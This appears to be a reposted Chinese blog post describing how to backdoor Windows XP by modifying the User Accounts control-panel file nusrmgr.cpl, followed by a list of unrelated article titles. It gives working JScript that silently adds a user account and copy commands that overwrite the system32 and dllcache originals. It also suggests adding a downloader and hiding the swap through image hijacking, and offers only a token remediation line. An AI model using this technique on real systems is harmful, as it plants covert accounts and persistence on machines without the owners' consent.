xp下利用控制面板的cpl文件留后门
来源:互联网 发布:慧辰资讯 知乎 编辑:程序博客网 时间:2024/05/22 17:31
作者:lcx
这是我用restorator 打开nusrmgr.cpl时的情形。你看到了什么?是不是很吃惊,原来xp中控制面板中的“用户帐户”选项竟然是html做的。其实不然,微软的好多组 件的面板都是html做的。这也是微软为什么一直无法清掉ie的原因,它牵涉太多了,就算是反垄断法也不可能让微软删掉ie的。
看到图中的那个NUSRMGR.HTA文件了吗?我们可以用它来做下手脚(当然你选别的js文件也是可以的)
我们在里边加几行js语句:
var WshShell = CreateObject("WScript.Shell")
WshShell.Run("net.exe user lcx lcx /add", 0, true)当然你加下载者更好,我只是做个示例。
然后:
echo y|copy nusrmgr.cpl c:\windows\system32\dllcache\nusrmgr.cpl
echo y|copy nusrmgr.cpl c:\windows\system32\nusrmgr.cpl替换原来的文件。这样以后用户再调用控制面板里的“用户帐户”选项后,就会自动给你加一个帐户了。
这算是一个思路了,应当很鸡肋。如果要完美一点,可以查看一下别的cpl文件如何更改,如何无声无息的替掉原来的文件(如镜像劫持)。
修复:还是经常注意检查一下吧
- xp下利用控制面板的cpl文件留后门
- Windows控制面板扩展项:CPL文件
- 控制面板cpl大全
- Vs2005调试cpl(控制面板)程序的设置
- 控制面板程序(CPL)调试方法
- cpl (控制面板应用程序) 编写及调试
- WinCE控制面板添加应用程序----CPL文件格式
- 如何注册 CPL 文件,使得可以在控制面板中显示
- 怎样开发控制面板程序(CPL程序)
- CPL之在控制面板中添加应用
- VC中如何调试控制面板(.cpl)程序
- Windows XP 中的 *.cpl 文件总结
- 利用nc构建telnet后门控制案例
- 安装VS2008,在Win7系统下,无法像xp下通过“控制面板”卸载的方法重新输入序列号来破解VS2008。
- 在xp下设置控制面板中的任务与计划示例
- XP下在控制面板和登录界面中隐藏用户方法
- CPL文件
- CPL文件
- Servlet验证码
- 大数据量下的DML操作 bulk collect into limit forall commit;
- Android使用adb命令
- CCS下的C和汇编的混合编程
- js使用
- xp下利用控制面板的cpl文件留后门
- C++设计模式--单一对象模式<Singleton>
- myeclipse快捷键
- cpuinfo说明
- android读取图片
- ORACLE批量更新四种方法比较
- GIT 使用
- struts工程中的相关配置
- java 强引用,软引用,弱引用,虚引用